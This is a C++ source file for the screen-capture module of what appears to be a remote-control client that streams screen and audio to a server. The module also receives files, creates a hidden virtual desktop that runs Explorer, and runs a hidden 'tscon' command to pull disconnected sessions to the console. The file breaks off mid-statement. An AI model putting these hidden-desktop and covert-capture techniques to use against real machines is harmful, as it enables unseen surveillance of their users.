// ScreenManager.cpp: implementation of the CScreenManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "ScreenManager.h" #include "Common.h" #include #if _MSC_VER <= 1200 #include #else #include #endif #include #include "ScreenSpy.h" #include "ScreenCapturerDXGI.h" #include #include #include "common/file_upload.h" #include #include "ClientDll.h" #include #include "KernelManager.h" #include #include #include // WASAPI 音频捕获 #include #include #include // KSDATAFORMAT_SUBTYPE_IEEE_FLOAT GUID (避免依赖 ksmedia.h) static const GUID KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL = { 0x00000003, 0x0000, 0x0010, { 0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 } }; // 检查 WAVEFORMATEXTENSIBLE 是否为浮点格式 static BOOL IsFloatFormat(const WAVEFORMATEX* pWaveFmt) { if (!pWaveFmt) return FALSE; if (pWaveFmt->wFormatTag == WAVE_FORMAT_IEEE_FLOAT) { return TRUE; } if (pWaveFmt->wFormatTag == WAVE_FORMAT_EXTENSIBLE && pWaveFmt->cbSize >= sizeof(WAVEFORMATEXTENSIBLE) - sizeof(WAVEFORMATEX)) { const WAVEFORMATEXTENSIBLE* pWaveFmtEx = (const WAVEFORMATEXTENSIBLE*)pWaveFmt; return IsEqualGUID(pWaveFmtEx->SubFormat, KSDATAFORMAT_SUBTYPE_IEEE_FLOAT_LOCAL); } return FALSE; } #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "wtsapi32.lib") #ifdef _WIN64 #ifdef _DEBUG #pragma comment(lib, "FileUpload_Libx64d.lib") #else #pragma comment(lib, "FileUpload_Libx64.lib") #endif #else #ifdef _DEBUG #pragma comment(lib, "FileUpload_Libd.lib") #else #pragma comment(lib, "FileUpload_Lib.lib") #endif #endif ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// #define WM_MOUSEWHEEL 0x020A #define GET_WHEEL_DELTA_WPARAM(wParam)((short)HIWORD(wParam)) bool IsWindows8orHigher() { typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); HMODULE hMod = GetModuleHandleW(L"ntdll.dll"); if (!hMod) return false; RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion"); if (!rtlGetVersion) return false; RTL_OSVERSIONINFOW rovi = { 0 }; rovi.dwOSVersionInfoSize = sizeof(rovi); if (rtlGetVersion(&rovi) == 0) { return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2); } return false; } CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject) { #ifndef PLUGIN extern ClientApp g_MyApp; SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID CKernelManager* main = (CKernelManager*)ClientObject->GetMain(); InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf); #endif m_isGDI = TRUE; m_virtual = FALSE; m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; g_hDesk = nullptr; m_DesktopID = GetBotId(); m_ScreenSpyObject = nullptr; m_ptrUser = (INT_PTR)user; m_point = {}; m_lastPoint = {}; m_lmouseDown = FALSE; m_hResMoveWindow = nullptr; m_resMoveType = 0; m_rmouseDown = FALSE; m_rclickPoint = {}; m_rclickWnd = nullptr; iniFile cfg(CLIENT_PATH); int m_nMaxFPS = cfg.GetInt("settings", "ScreenMaxFPS", 20); m_nMaxFPS = max(m_nMaxFPS, 1); int threadNum = cfg.GetInt("settings", "ScreenCompressThread", 0); m_ClientObject->SetMultiThreadCompress(threadNum); // 启用多显示器支持时,需要固定传输质量 BYTE algo = ALGORITHM_DIFF; BOOL all = FALSE; if (!(user == NULL || ((int)user) == 1)) { UserParam* param = (UserParam*)user; if (param) { algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; } } BOOL fixedQuality = all || algo == ALGORITHM_H264; m_ScreenSettings.MaxFPS = m_nMaxFPS; m_ScreenSettings.CompressThread = threadNum; m_ScreenSettings.ScreenStrategy = cfg.GetInt("settings", "ScreenStrategy", 0); m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv); m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0); m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧 m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", fixedQuality ? QUALITY_GOOD : QUALITY_ADAPTIVE); m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0); m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频 LoadQualityProfiles(); // 加载质量配置 // 初始化音频事件和线程(根据配置决定初始状态) m_bAudioThreadRunning = TRUE; m_hAudioEvent = CreateEvent(NULL, FALSE, m_ScreenSettings.AudioEnabled, NULL); m_hAudioThread = __CreateThread(NULL, 0, AudioThreadProc, this, 0, NULL); m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } bool CScreenManager::SwitchScreen() { if (m_ScreenSpyObject == NULL || m_ScreenSpyObject->GetScreenCount() <= 1 || !m_ScreenSpyObject->IsMultiScreenEnabled()) return false; return RestartScreen(); } bool CScreenManager::RestartScreen() { if (m_ScreenSpyObject == NULL || m_bIsWorking == FALSE) return false; // 1. 停止工作线程 m_bIsWorking = FALSE; DWORD s = WaitForSingleObject(m_hWorkThread, 1000); if (s == WAIT_TIMEOUT) { TerminateThread(m_hWorkThread, 0x20260215); } // 2. 删除旧的截屏对象 SAFE_DELETE(m_ScreenSpyObject); // 3. 重新启动工作线程(InitScreenSpy 会创建新对象) m_bIsWorking = TRUE; m_SendFirst = FALSE; m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); return true; } std::wstring ConvertToWString(const std::string& multiByteStr) { int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); if (len == 0) return L""; // 转换失败 std::wstring wideStr(len, L'\0'); MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); return wideStr; } bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName, TCHAR* pszCommandLine = NULL) { bool bReturn = false; try { if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) return false; TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; TCHAR szCommandLine[MAX_PATH * 4] = { 0 }; strcpy_s(szDirectoryName, sizeof(szDirectoryName), pszApplicationFilePath); std::wstring path = ConvertToWString(pszApplicationFilePath); if (!PathIsExe(path.c_str())) return false; PathRemoveFileSpec(szDirectoryName); // 构建命令行:程序路径 + 参数 if (pszCommandLine && strlen(pszCommandLine) > 0) { sprintf_s(szCommandLine, sizeof(szCommandLine), "\"%s\" %s", pszApplicationFilePath, pszCommandLine); } else { sprintf_s(szCommandLine, sizeof(szCommandLine), "\"%s\"", pszApplicationFilePath); } STARTUPINFO sInfo = { 0 }; PROCESS_INFORMATION pInfo = { 0 }; sInfo.cb = sizeof(sInfo); sInfo.lpDesktop = pszDesktopName; //Launching a application into desktop SetLastError(0); BOOL bCreateProcessReturn = CreateProcess(NULL, // lpApplicationName = NULL szCommandLine, // lpCommandLine 包含完整命令 NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, szDirectoryName, &sInfo, &pInfo); DWORD err = GetLastError(); SAFE_CLOSE_HANDLE(pInfo.hProcess); SAFE_CLOSE_HANDLE(pInfo.hThread); TCHAR* pszError = NULL; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, err, 0, reinterpret_cast(&pszError), 0, NULL); if (pszError) { Mprintf("CreateProcess [%s] %s: %s\n", pszApplicationFilePath, err ? "failed" : "succeed", pszError); LocalFree(pszError); // 释放内存 } if (bCreateProcessReturn) bReturn = true; } catch (...) { bReturn = false; } return bReturn; } // 检查指定桌面(hDesk)中是否存在目标进程(targetExeName) BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) { // 切换到目标桌面 if (!SetThreadDesktop(hDesk)) { return FALSE; } // 枚举目标桌面的所有窗口 BOOL bFound = FALSE; std::pair data(targetExeName, &bFound); EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { auto pData = reinterpret_cast*>(lParam); DWORD dwProcessId; GetWindowThreadProcessId(hWnd, &dwProcessId); // 获取进程名 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); if (hProcess) { char exePath[MAX_PATH]; DWORD size = MAX_PATH; if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { if (_stricmp(exePath, pData->first) == 0) { *(pData->second) = TRUE; return FALSE; // 终止枚举 } } SAFE_CLOSE_HANDLE(hProcess); } return TRUE; // 继续枚举 }, reinterpret_cast(&data)); return bFound; } // 关闭指定桌面上的所有窗口和进程(用于重置虚拟桌面) void CloseAllWindowsInDesktop(HDESK hDesk) { // 收集所有需要终止的进程ID(EnumDesktopWindows 不需要切换线程桌面) std::vector processIds; BOOL enumResult = EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL { auto* pIds = (std::vector*)lParam; DWORD pid = 0; GetWindowThreadProcessId(hWnd, &pid); if (pid != 0 && pid != GetCurrentProcessId()) { // 避免重复 if (std::find(pIds->begin(), pIds->end(), pid) == pIds->end()) { pIds->push_back(pid); } } char title[256] = {}; GetWindowTextA(hWnd, title, sizeof(title)); Mprintf("枚举窗口: %s [%p] pid=%d\n", title, hWnd, pid); // 先尝试正常关闭 PostMessageA(hWnd, WM_CLOSE, 0, 0); return TRUE; }, (LPARAM)&processIds); if (!enumResult) { Mprintf("EnumDesktopWindows failed: %d\n", GetLastError()); } // 等待窗口关闭 Sleep(300); // 强制终止所有相关进程 for (DWORD pid : processIds) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (hProcess) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); Mprintf("终止进程: %d\n", pid); } } Mprintf("CloseAllWindowsInDesktop: 已处理 %d 个进程\n", (int)processIds.size()); } // 检查当前进程是否以管理员身份运行 static BOOL IsRunningAsAdmin() { BOOL isAdmin = FALSE; PSID adminGroup = NULL; SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) { CheckTokenMembership(NULL, adminGroup, &isAdmin); FreeSid(adminGroup); } return isAdmin; } // 恢复控制台会话(解决 RDP 断开后黑屏问题) // 当用户通过 RDP 连接后断开,物理控制台可能处于 Disconnected 状态 // 此函数检测并将活跃的 RDP 会话切换回控制台 // 需要 SYSTEM 或管理员权限 static BOOL RestoreConsoleSession() { // 权限检查:需要 SYSTEM 或管理员权限 if (!IsRunningAsSystem() && !IsRunningAsAdmin()) { Mprintf("[RestoreConsole] Insufficient privileges (need SYSTEM or Admin)\n"); return FALSE; } // 获取当前进程的会话ID DWORD currentSessionId = 0; ProcessIdToSessionId(GetCurrentProcessId(), ¤tSessionId); Mprintf("[RestoreConsole] Current process session: %d\n", currentSessionId); PWTS_SESSION_INFO pSessionInfo = NULL; DWORD dwCount = 0; DWORD targetSessionId = 0; BOOL foundTarget = FALSE; BOOL currentSessionDisconnected = FALSE; if (!WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessionInfo, &dwCount)) { Mprintf("[RestoreConsole] WTSEnumerateSessions failed: %d\n", GetLastError()); return FALSE; } // 分析会话状态 for (DWORD i = 0; i < dwCount; i++) { DWORD sid = pSessionInfo[i].SessionId; WTS_CONNECTSTATE_CLASS state = pSessionInfo[i].State; const char* name = pSessionInfo[i].pWinStationName; Mprintf("[RestoreConsole] Session %d (%s): State=%d\n", sid, name, state); // 如果当前进程在用户会话中(非Session 0),检查该会话是否断开 if (currentSessionId != 0 && sid == currentSessionId) { if (state == WTSDisconnected) { currentSessionDisconnected = TRUE; targetSessionId = sid; foundTarget = TRUE; Mprintf("[RestoreConsole] Current session %d is disconnected\n", sid); } } // 如果进程在Session 0(SYSTEM服务),查找断开的用户会话 else if (currentSessionId == 0 && state == WTSDisconnected && sid != 0 && sid < 65536) { // 优先选择最小的会话ID(通常是用户的主会话) if (!foundTarget || sid < targetSessionId) { targetSessionId = sid; foundTarget = TRUE; Mprintf("[RestoreConsole] Found disconnected user session %d\n", sid); } } } WTSFreeMemory(pSessionInfo); // 如果找到需要恢复的会话,执行 tscon 切换到控制台 if (foundTarget) { char cmd[128]; sprintf(cmd, "tscon %d /dest:console", targetSessionId); Mprintf("[RestoreConsole] Executing: %s\n", cmd); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, 5000); SAFE_CLOSE_HANDLE(pi.hProcess); SAFE_CLOSE_HANDLE(pi.hThread); Mprintf("[RestoreConsole] Session %d restored to console\n", targetSessionId); Sleep(200); // 等待桌面切换完成 return TRUE; } else { Mprintf("[RestoreConsole] CreateProcess failed: %d\n", GetLastError()); } } else { Mprintf("[RestoreConsole] No disconnected session to restore\n"); } return FALSE; } void CScreenManager::InitScreenSpy() { int DXGI = USING_GDI; BYTE algo = ALGORITHM_DIFF; BYTE* user = (BYTE*)m_ptrUser; BOOL all = FALSE; if (!(user == NULL || ((int)user) == 1)) { UserParam* param = (UserParam*)user; if (param) { DXGI = param->buffer[0]; algo = param->length > 1 ? param->buffer[1] : algo; all = param->length > 2 ? param->buffer[2] : all; } m_pUserParam = param; } else { DXGI = (int)user; } // 如果已设置质量等级,使用对应的算法(优先于启动参数) int level = m_ScreenSettings.QualityLevel; if (level >= 0 && level < QUALITY_COUNT) { algo = m_QualityProfiles[level].algorithm; } // 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单 m_ScreenSettings.ScreenType = DXGI; Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level); if (DXGI == USING_VIRTUAL) { m_virtual = TRUE; HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str()); if (!hDesk) { hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL); Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败"); } else { Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str()); } if (hDesk) { TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1); strcat_s(szExplorerFile, MAX_PATH * 2 - 1, "\\Explorer.Exe"); if (!IsProcessRunningInDesktop(hDesk, szExplorerFile)) { // 使用 /separate 强制创建独立进程,否则 Explorer 会连接到已有的 Shell if (LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str(), (TCHAR*)"/separate,C:\\")) { // 等待 Explorer 初始化完成(最多等待 3 秒) for (int i = 0; i < 30; i++) { Sleep(100); if (IsProcessRunningInDesktop(hDesk, szExplorerFile)) { Mprintf("Explorer 已启动,等待了 %d ms\n", (i + 1) * 100); break; } } } else { Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str()); } } else { Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str()); } SetThreadDesktop(g_hDesk = hDesk); } } else { HDESK hDesk = OpenActiveDesktop(); if (hDesk) { SetThreadDesktop(g_hDesk = hDesk); } } SAFE_DELETE(m_ScreenSpyObject); if ((USING_DXGI == DXGI && IsWindows8orHigher())) { m_isGDI = FALSE; auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all); if (s->IsInitSucceed()) { m_ScreenSpyObject = s; } else { SAFE_DELETE(s); m_isGDI = TRUE; m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all); Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n"); } } else { m_isGDI = TRUE; m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all); } } BOOL IsRunningAsSystem() { HANDLE hToken; PTOKEN_USER pTokenUser = NULL; DWORD dwSize = 0; BOOL isSystem = FALSE; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { return FALSE; } GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize); pTokenUser = (PTOKEN_USER)malloc(dwSize); if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) { // 使用 WellKnownSid 创建 SYSTEM SID BYTE systemSid[SECURITY_MAX_SID_SIZE]; DWORD sidSize = sizeof(systemSid); if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) { isSystem = EqualSid(pTokenUser->User.Sid, systemSid); if (isSystem) { Mprintf("当前进程以 SYSTEM 身份运行。\n"); } else { Mprintf("当前进程未以 SYSTEM 身份运行。\n"); } } } free(pTokenUser); CloseHandle(hToken); return isSystem; } BOOL CScreenManager::OnReconnect() { if (!m_bIsWorking) { return FALSE; } auto duration = GetTickCount64() - m_nReconnectTime; if (duration <= 3000) Sleep(3000 - duration); m_nReconnectTime = GetTickCount64(); m_SendFirst = FALSE; BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed"); // 检查是否有未完成的文件传输(V2 断点续传) if (r) { auto pendingTransfers = GetPendingTransfers(); for (uint64_t transferID : pendingTransfers) { Mprintf("检测到未完成传输: transferID=%llu\n", transferID); // 尝试恢复本地状态 if (LoadResumeState(transferID)) { Mprintf("已恢复传输状态,发送续传请求...\n"); // 构建并发送 RESUME_REQ 包 std::vector resumeReq = BuildResumeRequest(transferID, m_MyClientID); if (!resumeReq.empty()) { Send(resumeReq.data(), (UINT)resumeReq.size()); Mprintf("已发送续传请求: transferID=%llu, size=%zu\n", transferID, resumeReq.size()); } } } } return r; } DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) { CScreenManager *This = (CScreenManager *)lParam; This->InitScreenSpy(); This->SendBitMapInfo(); //发送bmp位图结构 // 等控制端对话框打开 This->WaitForDialogOpen(); clock_t last = clock(); #if USING_ZLIB const int fps = 8;// 帧率 #else const int fps = 8;// 帧率 #endif const int sleep = 1000 / fps;// 间隔时间(ms) int c1 = 0; // 连续耗时长的次数 int c2 = 0; // 连续耗时短的次数 float s0 = sleep; // 两帧之间隔(ms) const int frames = fps; // 每秒调整屏幕发送速度 const float alpha = 1.03; // 控制fps的因子 clock_t last_check = clock(); timeBeginPeriod(1); while (This->m_bIsWorking) { WAIT_n(This->m_bIsWorking && !This->IsConnected(), 6, 50); if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect(); if (!This->IsConnected()) continue; if (!This->m_SendFirst && This->IsConnected()) { This->m_SendFirst = TRUE; This->SendBitMapInfo(); Sleep(50); This->SendFirstScreen(); } // 降低桌面检查频率,避免频繁的DC重置导致闪屏 if (This->IsRunAsService() && !This->m_virtual) { auto now = clock(); if (now - last_check > 500) { last_check = now; // 使用公共函数检查并切换桌面(无需写权限) if (SwitchToDesktopIfChanged(This->g_hDesk, 0) && This->m_isGDI) { // 桌面变化时重置屏幕捕获的DC CScreenSpy* spy = (CScreenSpy*)(This->m_ScreenSpyObject); if (spy) { spy->ResetDesktopDC(); } } } } ULONG ulNextSendLength = 0; const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { s0 = max(s0, 1000./This->m_ScreenSettings.MaxFPS); // 最快每秒20帧 s0 = min(s0, 1000); int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); if (span < 0) { // 发送数据耗时较长,网络较差或数据较多 c2 = 0; if (frames == ++c1) { // 连续一定次数耗时长 s0 = (s0 <= sleep*4) ? s0*alpha : s0; c1 = 0; #if _DEBUG if (1000./s0>1.0) Mprintf("[+]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } } else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小 c1 = 0; if (frames == ++c2) { // 连续一定次数耗时短 s0 = (s0 >= sleep/4) ? s0/alpha : s0; c2 = 0; #if _DEBUG if (1000./s0m_ScreenSettings.MaxFPS) Mprintf("[-]SendScreen Span= %dms, s0= %f, fps= %f\n", span, s0, 1000./s0); #endif } } last = clock(); // 发送待发送的自定义光标图像(在帧数据之前) BYTE* cursorData = nullptr; ULONG cursorSize = 0; if (This->m_ScreenSpyObject->GetPendingCursorImage(&cursorData, &cursorSize)) { This->m_ClientObject->Send2Server((char*)cursorData, cursorSize); } This->SendNextScreen(szBuffer, ulNextSendLength); } } timeEndPeriod(1); Mprintf("ScreenWorkThread Exit\n"); return 0; } VOID CScreenManager::SendBitMapInfo() { //这里得到bmp结构的大小 const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings); LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, ulLength, MEM_COMMIT, PAGE_READWRITE); if (szBuffer == NULL) return; szBuffer[0] = TOKEN_BITMAPINFO; //这里将bmp位图结构发送出去 memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t), &m_ScreenSettings, sizeof(ScreenSettings)); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); VirtualFree(szBuffer, 0, MEM_RELEASE); } CScreenManager::~CScreenManager() { Mprintf("ScreenManager 析构函数\n"); UninitFileUpload(); m_bIsWorking = FALSE; m_bAudioThreadRunning = FALSE; // 停止音频线程 // 停止音频线程 if (m_hAudioEvent) { SetEvent(m_hAudioEvent); // 唤醒线程使其退出 } if (m_hAudioThread) { WaitForSingleObject(m_hAudioThread, 2000); SAFE_CLOSE_HANDLE(m_hAudioThread); } if (m_hAudioEvent) { SAFE_CLOSE_HANDLE(m_hAudioEvent); } UninitWASAPI(); WaitForSingleObject(m_hWorkThread, INFINITE); if (m_hWorkThread!=NULL) { SAFE_CLOSE_HANDLE(m_hWorkThread); } delete m_ScreenSpyObject; m_ScreenSpyObject = NULL; SAFE_DELETE(m_pUserParam); } void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::string& files) { auto start = time(0); Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId()); IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn); if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) { pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess); // 发送目录并准备接收文件 int len = 1 + folder.length() + files.length() + 1; char* cmd = new char[len]; cmd[0] = COMMAND_GET_FILE; memcpy(cmd + 1, folder.c_str(), folder.length()); cmd[1 + folder.length()] = 0; memcpy(cmd + 1 + folder.length() + 1, files.data(), files.length()); cmd[1 + folder.length() + files.length()] = 0; pClient->Send2Server(cmd, len); SAFE_DELETE_ARRAY(cmd); pClient->RunEventLoop(TRUE); } delete pClient; Mprintf("Leave thread RunFileReceiver: %d. Cost: %d s\n", GetCurrentThreadId(), time(0)-start); } bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) { IOCPClient* pClient = (IOCPClient*)user; if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) { return false; } return true; } bool SendDataV2(void* user, FileChunkPacketV2* chunk, BYTE* data, int size) { IOCPClient* pClient = (IOCPClient*)user; if (!pClient->IsConnected() || !pClient->Send2Server((char*)data, size)) { return false; } return true; } void RecvData(void* ptr) { FileChunkPacket* pkt = (FileChunkPacket*)ptr; } void delay_destroy(IOCPClient* pClient, int sec) { if (!pClient) return; Sleep(sec * 1000); delete pClient; } void FinishSend(void* user) { IOCPClient* pClient = (IOCPClient*)user; std::thread(delay_destroy, pClient, 15).detach(); } VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { if (!m_bIsWorking) return; switch(szBuffer[0]) { case COMMAND_BYE: { Mprintf("[CScreenManager] Received BYE: %s\n", ToPekingTimeAsString(0).c_str()); m_bIsWorking = FALSE; m_ClientObject->StopRunning(); break; } case COMMAND_SWITCH_SCREEN: { SwitchScreen(); break; } case CMD_FULL_SCREEN: { int fullScreen = szBuffer[1]; iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "FullScreen", fullScreen); m_ScreenSettings.FullScreen = fullScreen; break; } case CMD_REMOTE_CURSOR: { int remoteCursor = szBuffer[1]; iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "RemoteCursor", remoteCursor); m_ScreenSettings.RemoteCursor = remoteCursor; break; } case CMD_MULTITHREAD_COMPRESS: { int threadNum = szBuffer[1]; m_ClientObject->SetMultiThreadCompress(threadNum); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenCompressThread", threadNum); m_ScreenSettings.CompressThread = threadNum; break; } case CMD_SCREEN_SIZE: { int maxWidth = 0, height = 0, strategy = szBuffer[1]; memcpy(&maxWidth, szBuffer + 2, 4); memcpy(&height, szBuffer + 6, 4); Mprintf("收到 CMD_SCREEN_SIZE: strategy=%d, maxWidth=%d, height=%d\n", strategy, maxWidth, height); iniFile cfg(CLIENT_PATH); // strategy=2 是自适应质量使用的临时策略,不覆盖用户的原始 ScreenStrategy if (strategy == 2) { if (maxWidth == 0) { // maxWidth=0 表示"使用默认策略",读取用户原来的设置 strategy = cfg.GetInt("settings", "ScreenStrategy", 0); // ScreenStrategy 只能是 0 或 1,如果是其他值则回退到 0 if (strategy != 0 && strategy != 1) { strategy = 0; cfg.SetInt("settings", "ScreenStrategy", 0); // 修复无效值 } Mprintf("maxWidth=0, 回退到默认策略: strategy=%d\n", strategy); } // 保存自适应的 ScreenWidth,下次启动时作为初始值 cfg.SetInt("settings", "ScreenWidth", maxWidth); Mprintf("写入配置: ScreenWidth=%d (保留原 ScreenStrategy)\n", maxWidth); } else { // strategy=0 或 1 是用户手动设置,写入配置 cfg.SetInt("settings", "ScreenStrategy", strategy); cfg.SetInt("settings", "ScreenWidth", 0); // 清除自定义 maxWidth Mprintf("写入配置: ScreenStrategy=%d, ScreenWidth=0\n", strategy); } cfg.SetInt("settings", "ScreenHeight", height); bool needRestart = false; if (m_ScreenSpyObject && m_ScreenSpyObject->GetBIData()) { int currentWidth = m_ScreenSpyObject->GetCurrentWidth(); int fullWidth = m_ScreenSpyObject->GetScreenWidth(); Mprintf("当前宽度: %d, 原始宽度: %d\n", currentWidth, fullWidth); switch (strategy) { case 0: // 1080p { // 当前分辨率与目标 1080p 限制不同时需要重启 int target1080Width = min(1920, fullWidth); needRestart = (currentWidth != target1080Width); Mprintf("strategy=0 (1080p), target=%d, needRestart=%d\n", target1080Width, needRestart); break; } case 1: // 原始 needRestart = !m_ScreenSpyObject->IsOriginalSize(); Mprintf("strategy=1 (原始), needRestart=%d\n", needRestart); break; case 2: // 自适应质量调整 (maxWidth > 0,maxWidth=0 时已回退到 case 0/1) needRestart = (maxWidth != currentWidth); Mprintf("strategy=2 (自适应), maxWidth=%d, currentWidth=%d, needRestart=%d\n", maxWidth, currentWidth, needRestart); break; } } else { // 截屏对象不存在或未初始化,直接根据 strategy 决定是否重启 needRestart = (strategy == 2 && maxWidth > 0); Mprintf("截屏对象未就绪, needRestart=%d\n", needRestart); } if (needRestart) { Mprintf("重启截屏...\n"); RestartScreen(); } else { Mprintf("不需要重启截屏\n"); } m_ScreenSettings.ScreenStrategy = strategy; m_ScreenSettings.ScreenWidth = maxWidth; m_ScreenSettings.ScreenHeight = height; break; } case CMD_FPS: { int m_nMaxFPS = min(255, unsigned(szBuffer[1])); m_nMaxFPS = max(m_nMaxFPS, 1); iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScreenMaxFPS", m_nMaxFPS); m_ScreenSettings.MaxFPS = m_nMaxFPS; break; } case CMD_SCROLL_INTERVAL: { // 实时更新滚动检测间隔并保存 int interval = *(int*)(szBuffer + 1); if (m_ScreenSpyObject) { m_ScreenSpyObject->SetScrollDetectInterval(interval); Mprintf("滚动检测间隔更新: %d\n", interval); } m_ScreenSettings.ScrollDetectInterval = interval; iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "ScrollDetectInterval", interval); break; } case CMD_QUALITY_LEVEL: { // 质量等级调整 (level: -2=关闭, -1=自适应, 0-5=具体等级) int8_t level = (int8_t)szBuffer[1]; // 有符号,支持负值 int persist = ulLength >= 3 ? szBuffer[2] : 0; // 是否保存到配置 m_ScreenSettings.QualityLevel = level; // 保存到配置 if 